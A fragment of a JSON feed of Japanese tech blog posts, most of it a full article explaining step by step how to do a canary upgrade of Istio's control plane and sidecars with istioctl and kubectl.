コードの全体は下記を参照ください。https://github.com/kiyo-s/crea...","link":"https://zenn.dev/kyohei_saito/articles/fb102fd2af31e2","isoDate":"2023-03-19T04:44:58.000Z","dateMiliSeconds":1679201098000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"k8s.gcr.io の凍結対応から学んだことメモ","contentSnippet":"今まで Kubernetes プロジェクトのコンテナ イメージをホストしていたイメージ レジストリ k8s.gcr.io が凍結されることが発表されました。この記事では、k8s.gcr.io から registry.k8s.io に移行する過程で学んだことについて、備忘としてメモします。 この記事で書いてあることk8s.gcr.io から registry.k8s.io に移行した流れhelm で、dependencies によって外部の chart を install している場合に、外部の chart の values を設定する方法skopeo によりローカルで ...","link":"https://zenn.dev/kyohei_saito/articles/d0080d94dae0b7","isoDate":"2023-03-18T19:08:14.000Z","dateMiliSeconds":1679166494000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"[Terraform] aws_networkfirewall_firewall リソースから VPC エンドポイント ID を取り出す","contentSnippet":"はじめにTerraform を使って AWS Network Firewall のファイアウォールを作るとき,生成された VPC エンドポイントの ID をサブネットのルートテーブルのルートに追加するのは自然な流れですが,VPC エンドポイント ID を取り出すのが大変だったので,やり方を記録しておきます。例えば以下のように aws_networkfirewall_firewall リソースを定義したとします。(特に説明のない変数やリソースは,なんとなくの理解で構いません。)resource \\"aws_networkfirewall_firewall\\" \\"firewall\\" ...","link":"https://zenn.dev/toshikish/articles/fc08c2021811f9","isoDate":"2023-03-16T07:58:23.000Z","dateMiliSeconds":1678953503000,"authorName":"toshikish","authorId":"toshikish"},{"title":"ビットコイン・ライトニングネットワーク概論","contentSnippet":"https://event.ospn.jp/osc2023-online-spring/session/809175\\rビットコインは送金トランザクションの処理量に限界があり、ブロックチェーンの外での送金を行うオフチェーン技術により手数料の軽減と、送金の高速化を実現できます。\\r\\rオフチェーンの中でもビットコインと同様、中央管理者のいないライトニングネットワークの開発が進んでいます。\\r\\rライトニングネットワーク技術の骨格をまとめました。","link":"https://speakerdeck.com/shukob/bitutokoinraitoningunetutowakugai-lun-749a7a47-5e72-4585-bcfd-40e8643a7143","isoDate":"2023-03-11T05:00:00.000Z","dateMiliSeconds":1678510800000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"振り返り (2020 - 2022)","contentSnippet":"コロプラに 2020/3/1 に入社して、2023/2/28 付けで退職したので、丸々 3 年間勤務したことになります。本当の意味での大規模 Kubernetes 環境で貴重な経験をさせて貰い感謝しかないです。記憶が新しい内に、この 3 年間でやってきたことを公開できる範囲で整理しました。 GitOps 風なマニフェスト管理への移行インフラチームで管理している監視ツールやアドオンなコンポーネントを Helm でインストールしていました。マルチクラスタな環境で手動インストールはスケールしないので、Helmfile で生成した各クラスタのマニフェストを Argo CD で同期する方式に...","link":"https://zenn.dev/toversus/articles/8557a7fb2bc15c","isoDate":"2023-03-05T14:17:49.000Z","dateMiliSeconds":1678025869000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Devbox を使った開発環境","contentSnippet":"ローカル環境を汚さずDockerコンテナのオーバーヘッドもなく、開発環境を自在に構築できる「Devbox 0.2.0」登場 - Publickey この記事を最初に","link":"https://blog.1q77.com/2023/03/devbox/","isoDate":"2023-03-04T15:05:12.000Z","dateMiliSeconds":1677942312000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"2023年もSRE再考と叫びなさい‼️","contentSnippet":"2023年もSRE再考と叫びなさい‼️ SREの跡を求めず SREの求めたるところを求めよ というタイトルで登壇してきました\\r\\r2023年3月3日 エンジニア文化祭 2023\\rhttps://forkwell.connpass.com/event/272596/\\r\\r『2023年もSRE再考と叫びなさい!!』というタイトルで登壇しました - じゃあ、おうちで学べる\\rhttps://syu-m-5151.hatenablog.com/entry/2023/03/03/105049","link":"https://speakerdeck.com/nwiizo/2023nian-mosrezai-kao-tojiao-binasai","isoDate":"2023-03-03T05:00:00.000Z","dateMiliSeconds":1677819600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Insertモードでも気軽に←・→したい","contentSnippet":"本記事は3/3のVim 駅伝の記事です1。概要通常、Vim/NeovimのInsertモードで←や→を使うと、Undo blockが途切れます。これではUndoやドットリピートが直感に反するケースがあるので、以下のようにマッピングしておくと便利です。Insertモード中で水平移動してタイポ修正する人や、自動入力された閉括弧の外側へ→で移動した後、NormalモードでUndoやドットリピートする時に活躍します。","link":"https://blog.atusy.net/2023/03/03/horizontal-arrows-on-insert/","isoDate":"2023-03-03T00:00:00.000Z","dateMiliSeconds":1677801600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Snowflakeでのコスト管理","contentSnippet":"Snowflakeを最近触ってみることがあったので、コスト周りについて個人的に調べたログ参考ドキュメント↓Snowflakeでのコスト管理 | Snowflake Documentation お品書きSnowflakeのコストについてSnowflakeのコスト調査Snowflakeのコスト制御 SnowflakeのコストについてSnowflakeでのコストは次の3つの領域に分類される。コンピューティング: ユーザー管理(仮想ウェアハウス)、Snowflake管理(Snowpipeなどのサーバーレス機能)、およびクラウドサービスストレージ: データステージング...","link":"https://zenn.dev/nedoko_dok0dko/articles/ffe6450c4cd851","isoDate":"2023-02-28T10:45:26.000Z","dateMiliSeconds":1677581126000,"authorName":"seno","authorId":"seno"},{"title":"【Istio⛵️】Istioを安全にアップグレードするカナリア方式とその仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Istioのアップグレード手法の種類について安全なカナリア方式の仕組みについてこの記事から得られる知識01. はじめに02. なぜ安全なアップグレードが必要なのか起こりうる問題採用するべきアップグレード手法03. アップグレード手法を説明する前にカナリアリリースとはカナリアリリースの手順(1) 新環境のリリース(2) 新環境への重み付けルーティング(3) 実地的テストの実施(4) 重み付けの段階的変更『カナリアリリース』の呼称の由来04. アップグレード手法の概要(1) アップグレード前の検証(2) 新Istiodのインストール(3) Webhookの宛先のServiceの変更(4) Istio IngressGatewayをインプレースアップグレード(5) 一部のNamespaceのistio-proxyコンテナをアップグレード(6) ユーザの手を借りたテスト(7) istio-proxyコンテナの段階的アップグレード(8) 旧Istiodのアンインストール05. アップグレード手法の詳細istioctl コマンドを使用したアップグレード前提NamespaceIstiodIstio IngressGatewayマイクロサービス(1) アップグレード前の検証ここで実施することistioctl x precheckコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ 宛先のServiceを決めるMutatingWebhookConfiguration(2) 新Istiodのインストールここで実施することistioctl versionコマンドistioctl installコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ Webhookの宛先のServiceを決めるMutatingWebhookConfiguration(3) Webhookの宛先のServiceの変更ここで実施することistioctl tag setコマンド(4) Istio IngressGatewayをインプレースアップグレードここで実施することkubectl rollout restartコマンド(5) 一部のNamespaceのistio-proxyコンテナをアップグレードここで実施することkubectl rollout restartコマンド(6) ユーザの手を借りたテストここで実施することもし問題が起こった場合(7) istio-proxyコンテナの段階的アップグレードここで実施することkubectl rollout restartコマンド(8) 旧Istiodのアンインストールここで実施することistioctl uninstallコマンドkubectl getコマンド▼ IstiodのDeployment▼ Webhookの宛先のService▼ 宛先のServiceを決めるMutatingWebhookConfiguration06. おわりに記事関連のおすすめ書籍01. はじめに隠しません。有吉弘行のサンデーナイトドリーマー は人生のバイブルです。さて、最近の業務でIstio⛵️をひたすらアップグレードしています。今回は、採用したアップグレード手法の紹介も兼ねて、Istioの安全なアップグレード手法の仕組みを記事で解説しました。Istioのアップグレード手法には変遷があり、解説するのは執筆時点 (2023/02/26) で最新の 1.14 系のアップグレード手法です。それでは、もりもり布教していきます\uD83D\uDE1702. なぜ安全なアップグレードが必要なのか起こりうる問題そもそも、なぜIstioで安全なアップグレードを採用する必要があるのでしょうか。Istioで問題が起こると、Pod内のistio-proxyコンテナが正しく稼働せず、システムに大きな影響を与える可能性があります。例えば、istio-proxyコンテナのPodへのインジェクションがずっと完了せず、アプリコンテナへの通信が全て遮断されるといったことが起こることがあります。採用するべきアップグレード手法執筆時点 (2023/02/26) では、Istiodコントロールプレーン (以降、Istiodとします) のアップグレード手法には、『インプレース方式』と『カナリア方式』があります。また合わせてアップグレードが必要なIstio IngressGatewayには、その手法に『インプレース方式』があります。今回の安全なアップグレード手法として、Istiodでは『カナリアアップグレード』、Istio IngressGatewayでは『インプレースアップグレード』を採用します。Istio / Canary UpgradesIstio / Installing Gateways03. アップグレード手法を説明する前にカナリアリリースとはIstiodのカナリアアップグレードが理解しやすくなるように、カナリアリリースから説明したいと思います。カナリアリリースは、実際のユーザーにテストしてもらいながらリリースする手法です。もしカナリアリリースをご存知の方は、 04. アップグレード手法の概要 まで飛ばしてください\uD83D\uDE47\uD83C\uDFFB‍カナリアリリースの手順カナリアリリースは、一部のユーザーを犠牲にすることになる一方で、アプリを実地的にテストできる点で優れています。手順を交えながら説明します。Canary Release(1) 新環境のリリース旧環境のアプリを残したまま、新環境をリリースします。この段階では、全てのユーザー (100%) を旧環境にルーティングします。(2) 新環境への重み付けルーティングロードバランサーで重み付けを変更し、一部のユーザー (ここでは10%) を新環境にルーティングします。(3) 実地的テストの実施ユーザーの手を借りて新環境を実地的にテストします (例:該当のエラーメトリクスが基準値を満たすか) 。(4) 重み付けの段階的変更新環境に問題が起こらなければ、重み付けを段階的に変更し、最終的には全てのユーザー (100%) を新環境にルーティングします。『カナリアリリース』の呼称の由来カナリアリリースについては、その呼称の由来を知ると、より理解が深まります。カナリアリリースは、20世紀頃の炭坑労働者の危機察知方法に由来します。炭鉱内には有毒な一酸化炭素が発生する場所がありますが、これは無色無臭なため、気づくことに遅れる可能性があります。そこで当時の炭鉱労働者は、一酸化炭素に敏感な『カナリア』を炭鉱内に持ち込み、カナリアの様子から一酸化炭素の存在を察知するようにしていたそうです。つまり、先ほどの『犠牲になる一部のユーザー』が、ここでいうカナリアというわけです\uD83D\uDE28画像引用元:George McCaa, U.S. Bureau of MinesAbout canary deployment in simple words04. アップグレード手法の概要カナリアリリースを理解したところで、Istioの安全なアップグレード手法の概要を説明します。おおよそ以下の手順からなります。なお各番号は、05. アップグレード手法の詳細 の (1) 〜 (8) に対応しています。(1) アップグレード前の検証旧Istiodが稼働しています。ここで、アップグレードが可能かどうかを検証しておきます。(2) 新Istiodのインストール新Istiod (discoveryコンテナ) をインストールします。(3) Webhookの宛先のServiceの変更新Istiodのistio-proxyコンテナをインジェクションできるように、Webhookの宛先のServiceを変更します。この手順は重要で、後の (3) Webhookの宛先のServiceの変更 で詳細を説明しています。(4) Istio IngressGatewayをインプレースアップグレードIstio IngressGatewayをインプレースアップグレードします。(5) 一部のNamespaceのistio-proxyコンテナをアップグレード一部のNamespaceで、istio-proxyコンテナをカナリアアップグレードします。▶︎ 『カナリアアップグレード』の呼称についてistio-proxyコンテナを一斉にアップグレードするのではなく、段階的にアップグレードしていく様子を『カナリア』と呼称している、と個人的に推測しています。もし『カナリアアップグレード』の由来をご存じの方は、ぜひ教えていただけると\uD83D\uDE47\uD83C\uDFFB‍(6) ユーザの手を借りたテストユーザーの手を借りて、実地的にテストします (例:該当のエラーメトリクスが基準値以下を満たすか) 。(7) istio-proxyコンテナの段階的アップグレード新Istiodのistio-proxyコンテナに問題が起こらなければ、他のNamespaceでもistio-proxyコンテナを段階的にカナリアアップグレードしていきます。一方でもし問題が起これば、Namespaceのistio-proxyコンテナとIstio IngressGatewayをダウングレードします。(8) 旧Istiodのアンインストール最後に、旧Istiodをアンインストールします。Istio / Canary Upgrades05. アップグレード手法の詳細istioctl コマンドを使用したアップグレードここからは、04. アップグレード手法の概要 を深ぼっていきます。今回は、ドキュメントで一番優先して記載されている istioctl コマンドを使用した手順 を説明します。なお各番号は、04. アップグレード手法の概要 の (1) 〜 (8) に対応しています。▶︎ アップグレードに使用するツールについてistioctlコマンド以外のツール (例:helmコマンド、helmfileコマンド、ArgoCD) を使用してもアップグレードできます。細かな手順が異なるだけで、アップグレード手法の概要は同じです\uD83D\uDE46\uD83C\uDFFB‍前提Namespaceまず最初に、前提となる状況を設定しておきます。各Namespaceのistio.io/revラベルにdefaultが設定されているとします。$ kubectl get namespace -L istio.io/revNAME STATUS AGE REVfoo Active 34d defaultbar Active 34d defaultbaz Active 34d defaultistio-ingress Active 34d default...▶︎ istio.io/revラベル値のエイリアスについてistio.io/revラベル値は、どんなエイリアスでもよいです。よくあるエイリアスとしてdefaultやstableを使用します\uD83D\uDC4Dさらに、マニフェストに書き起こすと以下のようになっています。apiVersion: v1kind: Namespacemetadata: name: foo labels: istio.io/rev: defaultこのistio.io/revラベルがあることにより、そのNamespaceのPodにistio-proxyコンテナを自動的にインジェクションします。▶︎ istio-proxyコンテナのインジェクションの仕組みについてについてistio-proxyコンテナのインジェクションの仕組みについては、今回言及しておりません。以下の記事で解説していますため、もし気になる方はよろしくどうぞ\uD83D\uDE47\uD83C\uDFFB‍Istiodすでに1-14-6のIstiodが動いており、1-15-4にカナリアアップグレードします。IstiodはDeployment配下のPodであり、このPodはIstiodの実体であるdiscoveryコンテナを持ちます。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6Istio IngressGatewayIstio IngressGatewayはIstiodとは異なるNamespaceで動いており、インプレースアップグレードします。Istio IngressGatewayはistio-proxyコンテナを持ちます。$ kubectl get deployment -n istio-ingressNAME READY UP-TO-DATE AVAILABLE AGEistio-ingressgateway 1/1 1 1 47s▶︎ IstiodとIstio IngressGatewayを動かすNamespaceについてIstio / Installing Gatewaysマイクロサービス各Namespaceでマイクロサービスが動いています。マイクロサービスのPodはistio-proxyコンテナを持ちます。$ kubectl get deployment -n fooNAME READY UP-TO-DATE AVAILABLE AGEfoo 2/2 1 1 47s...$ kubectl get deployment -n barNAME READY UP-TO-DATE AVAILABLE AGEbar 2/2 1 1 47s..$ kubectl get deployment -n bazNAME READY UP-TO-DATE AVAILABLE AGEbaz 2/2 1 1 47s...(1) アップグレード前の検証ここで実施することアップグレード前に、現在のKubernetes Clusterがアップグレード要件を満たしているかを検証します。Before you upgradeistioctl x precheckコマンドistioctl x precheckコマンドを実行し、アップグレード要件を検証します。問題がなければ、istioctlコマンドはNo issue ...の文言を出力します。$ istioctl x precheck✅ No issues found when checking the cluster.Istiois safe to install or upgrade! To get started, check out https://istio.io/latest/docs/setup/getting-started/▶︎ アップグレード要件が満たない場合についてistioctl x precheckコマンドはエラー文言を出力します。例えば、Istioのistio-proxyコンテナのインジェクションではkube-apiserverと通信する必要があります。そのため、kube-apiserverのバージョンが古すぎるせいでIstioが非対応であると、エラーになります\uD83D\uDE2Dkubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、現在のIstiodのバージョンを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-14-6のDeploymentがあります。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6istio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47▼ Webhookの宛先のService次に、 Serviceを確認すると、1-14-6のServiceがあります。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-14-6 ClusterIP 10.96.93.151 15010/TCP,15012/TCP,443/TCP,15014/TCP 109s # 1-14-6このServiceは、kube-apiserverからIstiodへのWebhookを仲介することにより、istio-proxyコンテナのインジェクションを可能にします。istio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47▼ 宛先のServiceを決めるMutatingWebhookConfiguration最後に、MutatingWebhookConfigurationを確認すると、istio-revision-tag-<エイリアス>とistio-sidecar-injector-<リビジョン番号>のMutatingWebhookConfigurationがあります。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # カナリアアップグレード用istio-sidecar-injector-1-14-6 2 2m16s # インプレースアップグレード用のため今回は言及しないistio-proxyコンテナのインジェクションの仕組みでいうと、以下の赤枠の要素です\uD83D\uDC47これらのうち、前者 (istio-revision-tag-<エイリアス>) をカナリアアップグレードのために使用します。このMutatingWebhookConfigurationは、Webhookの宛先のServiceを決めるため、結果的にistio-proxyコンテナのバージョンを決めます。ここで、MutatingWebhookConfigurationのistio.io/revラベルとistio.io/tagラベルの値も確認しておきます。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.metadata.labels\'...istio.io/rev: 1-14-6istio.io/tag: default...istio.io/revラベルはIstiodのバージョン、istio.io/tagラベルはこれのエイリアスを表しています。また、.webhooks[].namespaceSelectorキー配下のistio.io/revキーの検知ルールを確認します。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[]\'...namespaceSelector: matchExpressions: - key: istio.io/rev operator: In values: - default...合わせて、.webhooks[].clientConfig.serviceキー配下のServiceを名前を確認します。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[].clientConfig\'...service: name: istiod-1-14-6...▶︎ MutatingWebhookConfigurationの役割についてistio.io/revラベルにdefaultを設定してあるとします。すると、上記のMutatingWebhookConfigurationがこれを検知します。MutatingWebhookConfigurationにはdefaultに対応するIstioのリビジョンが定義されており、kube-apiserverが特定のIstioのバージョンのServiceにWebhookを送信可能になります\uD83C\uDF89Istio / Safely upgrade the Istio control plane with revisions and tags(2) 新Istiodのインストールここで実施することそれでは、新Istiodをインストールします。Control planeistioctl versionコマンド新しくインストールするIstiodのバージョンは、istioctlコマンドのバージョンで決まります。そこで、istioctl versionコマンドを実行し、これのバージョンを確認します。$ istioctl versionclient version: 1.15.4 # アップグレード先のバージョンcontrol plane version: 1.14.6 # 現在のバージョンdata plane version: 1.14.6istioctl installコマンドカナリアアップグレードの場合、istioctl installコマンドを実行します。ドキュメントではrevisionキーの値がcanaryですが、今回は1-15-4とします。この値は、Istioが使用する様々なKubernetesリソースの接尾辞や、各リソースのistio.io/revラベルの値になります。$ istioctl install --set revision=1-15-4WARNING: Istio is being upgraded from 1.14.6 -> 1.15.4WARNING: Before upgrading, you may wish to use \'istioctl analyze\' to check for IST0002 and IST0135 deprecation warnings.✅ Istio core installed✅ Istiod installed✅ Ingress gateways installed✅ Installation completeThank you for installing Istio 1.15. Please take a few minutes to tell us about your install/upgrade experience!▶︎ カナリアアップグレードで指定できるバージョン差についてrevisionキーを使用したカナリアアップグレードでは、2つの先のマイナーバージョンまでアップグレードできます。例えば、現在のIstioが1.14.6であるなら、1.16系まで対応しています\uD83D\uDC4DIstio / Canary Upgradeskubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、istioctl installコマンドで何をインストールしたのかを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-15-4というDeploymentが新しく増えています。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-14-6 1/1 1 1 47s # 1-14-6istiod-1-15-4 1/1 1 1 47s # 1-15-4接尾辞の1-15-4は、revisionキーの値で決まります。この段階では、旧Istiodと新Istioが並行的に稼働しており、kube-apiserverはまだ旧Istiodと通信しています今の状況は以下の通りです\uD83D\uDC47▼ Webhookの宛先のService次に Webhookの宛先のServiceを確認すると、istiod-1-15-4というServiceが新しく増えています。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-14-6 ClusterIP 10.96.93.151 15010/TCP,15012/TCP,443/TCP,15014/TCP 109s # 1-14-6istiod-1-15-4 ClusterIP 10.104.186.250 15010/TCP,15012/TCP,443/TCP,15014/TCP 87s # 1-15-4この段階では、まだWebhookの宛先はistiod-1-14-6のServiceです。今の状況は以下の通りです\uD83D\uDC47▼ Webhookの宛先のServiceを決めるMutatingWebhookConfiguration最後にMutatingWebhookConfigurationを確認すると、istio-sidecar-injector-1-15-4というMutatingWebhookConfigurationが新しく増えています。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # カナリアアップグレードで使用するistio-sidecar-injector-1-14-6 2 2m16sistio-sidecar-injector-1-15-4 2 2m16sカナリアアップグレードでは、istio-revision-tag-<エイリアス>のMutatingWebhookConfigurationを使用します。今の状況は以下の通りです\uD83D\uDC47▶︎ アンインストールについて(3) Webhookの宛先のServiceの変更ここで実施することこの手順では、エイリアスのistio.io/tagラベルの値はそのままにしておき、一方でistio.io/revラベルの値を変更します。さらに、Webhookの宛先のServiceを変更します。Default tagSafely upgrade the Istio control plane with revisions and tagsistioctl tag setコマンドistioctl tag setコマンドを実行し、istio.io/revラベルの値と宛先のServiceを変更します。$ istioctl tag set default --revision 1-15-4 --overwrite実行後に、もう一度MutatingWebhookConfigurationを確認すると、istio.io/revラベルの値が変わっています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.metadata.labels\'...istio.io/rev: 1-15-4istio.io/tag: default...また、Webhookの宛先のServiceも変わっています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yaml \\\\ | yq \'.webhooks[].clientConfig\'...service: name: istiod-1-15-4...これらにより、Webhookの宛先が 1-15-4 のService となります。そのため、 1-15-4 の istio-proxy コンテナをインジェクションできる ようになります。今の状況は以下の通りです\uD83D\uDC47(4) Istio IngressGatewayをインプレースアップグレードここで実施することWebhookの宛先が1-15-4のServiceに変わったところで、Istio IngressGatewayをインプレースアップグレードします。In place upgradekubectl rollout restartコマンドkubectl rollout restartコマンドを実行し、Istio IngressGatewayをインプレースアップグレードします。$ kubectl rollout restart deployment istio-ingressgateway-n istio-ingress再作成したPodのイメージを確認してみると、istio-proxyコンテナを1-15-4にアップグレードできています。$ kubectl get pod bar -n bar -o yaml | yq \'.spec.containers[].image\'docker.io/istio/proxyv2:1.15.4 # istio-proxyコンテナ▶︎ istioctl proxy-statusコマンドについてkubectl getコマンドの代わりに、istioctl proxy-statusコマンドを使用して、アップグレードの完了を確認してもよいです。今の状況は以下の通りです\uD83D\uDC47▶︎ Istio IngressGatewayの通信遮断について(5) 一部のNamespaceのistio-proxyコンテナをアップグレードここで実施すること続けて、一部のNamespaceのistio-proxyコンテナをアップグレードします。Podの再作成により、新Istiodのistio-proxyコンテナがインジェクションされるため。istio-proxyコンテナをアップグレードできます。Data planekubectl rollout restartコマンド前提にあるように、Namespaceには foo bar baz があります。kubectl rollout restartコマンドを実行し、barのistio-proxyコンテナからアップグレードします。$ kubectl rollout restart deployment bar -n bar再作成したPodのイメージを確認してみると、istio-proxyコンテナを1-15-4にアップグレードできています。$ kubectl get pod bar -n bar -o yaml | yq \'.spec.containers[].image\'bar-app:1.0 # マイクロサービスdocker.io/istio/proxyv2:1.15.4 # istio-proxyコンテナ▶︎ istioctl proxy-statusコマンドについてkubectl getコマンドの代わりに、istioctl proxy-statusコマンドを使用して、アップグレードの完了を確認してもよいです。今の状況は以下の通りです\uD83D\uDC47(6) ユーザの手を借りたテストここで実施することIstioを部分的にアップグレードしたところで、アップグレードが完了したNamespaceをテストします。ユーザーの手を借りて実地的にテストします (例:該当のエラーメトリクスが基準値を満たすか) 。今の状況は以下の通りです\uD83D\uDC47もし問題が起こった場合もし問題が起こった場合、1-14-6にダウングレードしていきます。istioctl tag setコマンドを実行し、istio.io/revラベルの値を元に戻します。$ istioctl tag set default --revision 1-14-6 --overwriteその後、kubectl rollout restartコマンドの手順を実行し、istio-proxyコンテナをダウングレードしてきます。(7) istio-proxyコンテナの段階的アップグレードここで実施すること先ほどのNamespaceで問題が起こらなければ、残ったNamespace (foo、baz、...) のistio-proxyコンテナも段階的にアップグレードしていきます。kubectl rollout restartコマンド同様にkubectl rollout restartコマンドを実行し、istio-proxyコンテナからアップグレードします。$ kubectl rollout restart deployment foo -n foo$ kubectl rollout restart deployment baz -n baz...最終的に、全てのNamespacemのistio-proxyコンテナが新しくなります。今の状況は以下の通りです\uD83D\uDC47(8) 旧Istiodのアンインストールここで実施すること最後に、旧Istiodのアンインストールします。Uninstall old control planeistioctl uninstallコマンドistioctl uninstallコマンドを実行し、旧Istiodをアンインストールします。$ istioctl uninstall --revision 1-14-6✅ Uninstall complete今の状況は以下の通りです\uD83D\uDC47kubectl getコマンド▼ IstiodのDeploymentkubectl getコマンドを実行し、istioctl uninstallコマンドで何をアンインストールしたのかを確認します\uD83D\uDC40まずはIstiodのDeploymentを確認すると、1-14-6というDeploymentが無くなっています。$ kubectl get deployment -n istio-system -l app=istiodNAME READY UP-TO-DATE AVAILABLE AGEistiod-1-15-4 1/1 1 1 47s # 1-15-4▼ Webhookの宛先のService次に Webhookの宛先のServiceを確認すると、istiod-1-14-6というServiceが無くなっています。$ kubectl get service -n istio-system -l app=istiodNAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEistiod-1-15-4 ClusterIP 10.104.186.250 15010/TCP,15012/TCP,443/TCP,15014/TCP 87s # 1-15-4▼ 宛先のServiceを決めるMutatingWebhookConfiguration最後にMutatingWebhookConfigurationを確認すると、istio-sidecar-injector-1-14-6というMutatingWebhookConfigurationが無くなっています。$ kubectl get mutatingwebhookconfigurationsNAME WEBHOOKS AGEistio-revision-tag-default 2 114s # 次のカナリアアップグレードでも使用するistio-sidecar-injector-1-15-4 2 2m16sこれで、新Istiodに完全に入れ替わったため、アップグレードは完了です。今の状況は以下の通りです\uD83D\uDC47▶︎ アンインストールについて06. おわりにIstioを安全にアップグレードするカナリア方式とその仕組みをもりもり布教しました。Istioへの愛が溢れてしまいました。これからIstioを採用予定の方は、Istioを安全にアップグレードするために十分に準備しておくことをお勧めします\uD83D\uDC4D記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'Reilly MediaAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/02/26/202548","isoDate":"2023-02-26T11:25:48.000Z","dateMiliSeconds":1677410748000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"LINE に送ったメッセージを Google Home に読み上げさせる","contentSnippet":"令和の時代、家に固定電話はなく、外出先から家族に直ぐに答えて欲しいことがあってもスマホはマナーモードで手元に置いてなければ気づくことができま","link":"https://blog.1q77.com/2023/02/line-bot-tts/","isoDate":"2023-02-25T12:51:58.000Z","dateMiliSeconds":1677329518000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"自由研究には向かないウェブオペレーション\xa0","contentSnippet":"自由研究には向かないウェブオペレーション\xa0サイト運用管理を取り巻く環境の変化 Cloud Native時代に考えるLinux オペレーション というタイトルで登壇してきました。\\r\\r2023年2月18日\\r【今更聞けない】Linuxのしくみ - Forkwell Library #16\\rhttps://forkwell.connpass.com/event/273179/\\r\\rあとがき\\r『自由研究には向かないウェブオペレーション』というタイトルで登壇しました。\\rhttps://syu-m-5151.hatenablog.com/entry/2023/02/18/201252","link":"https://speakerdeck.com/nwiizo/zi-you-yan-jiu-nihaxiang-kanaiuebuoperesiyon","isoDate":"2023-02-18T05:00:00.000Z","dateMiliSeconds":1676696400000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"行指向と列指向の違いについての論文を読む","contentSnippet":"この記事の趣旨前回と同様にCMU Advanced Databas Systems Spring2023のReading Assignmentとして出ている論文を読み論文紹介のやり方 / How to reviewで紹介されている方法をまとめていきます。今回はBigQueryやSnowflake、Amazon Redshiftといった分析向けデータベースが採用している行指向ストア(Column-store)と列指向ストア(Row-store)の差と行指向ストアがのどうのような最適化がパフォーマンスに影響を与えているかについて扱った論文を読んで行きます。Column-Stores vs. Row-Stores: How Different Are They Really?研究全体の背景行指向データベースシステムは分析用ワークロードで列指向データベースシステムより優れたパフォーマンスを発揮することで知られている。なぜなら行指向ストアはクエリ実行に必要なデータのみをディスクまたはメモリから取得するため、優れたI/Oパフォーマンスを達成できるからである。問題意識垂直パーティショニングや全ての行をパーティショニングすることで、列指向データベースで行指向データベースのようなパフォーマンスを実現できるだろうか? また行指向データベースが高速に動作するのはどのような最適化手法の影響が大きいのか?論文の目的列指向データベースで垂直パーティショニングやクエリ実行で使われる全ての行にインデックスを張るなどして、擬似的に行指向データベースを再現することで分析用途でのパフォーマンスが向上するのか? また行指向データベースの高速化に用いられるテクニックを一つずつ無効化し、パフォーマンスを比較することでどのような要素が行指向データベースのパフォーマンスを向上させているかを検証しする。手法の説明Star Schema Benchmarkを用いてC-Storeと商用列指向データベースの比較を行う。リアライゼーション、ブロックプロセッシングをそれぞれ無効化しどの要素の影響が最も大きいか。またこの論文で提案されたinvisible joinの評価を行なう。結果列指向ストアに置けるマテリアライズトビューリアライズドビュー(MV)に比べ非常に優れたパフォーマンスを発揮する。一方でCSの一つの行にMVとして期待するアウトプットのタプルをStringとして保存すると、普通のRSよりも低いパフォーマンスとなる。 RS MV > RS > CS MVとなる。列指向ストアに行指向ストアを再現する一般的な列指向のアプローチを適用し、効果的であればbitmap1またはbloom filter2を適用する(T)一般的な列指向のアプローチを適用するが、bitmapを積極的に使用する(T(B))一つのテーブルを複数のテーブルとして垂直分割を行う(VP)全ての行にインデックスを貼り、値の読み込みは全てインデックス経由で行う(AI)結果としては平均してMV > T > T(B) > VP > AIとなる。列指向ストアに置ける最適化手法とその影響列指向ストアの最適化手法においてどの影響が大きいかを測定するためそれぞれを無効化することで検証を行なう。測定対象の最適化項目としては以下の4つを対象とする。ブロックプロセッシングの有効化(B)または無効化(b)Invisible joinの有効化(I)または無効化(i)保存時のデータ圧縮の有効化(C)または無効化(c)遅延マテリアライゼーションの有効化(L)または無効化(l)結果は平均するとBICL > bICL > BiCL > 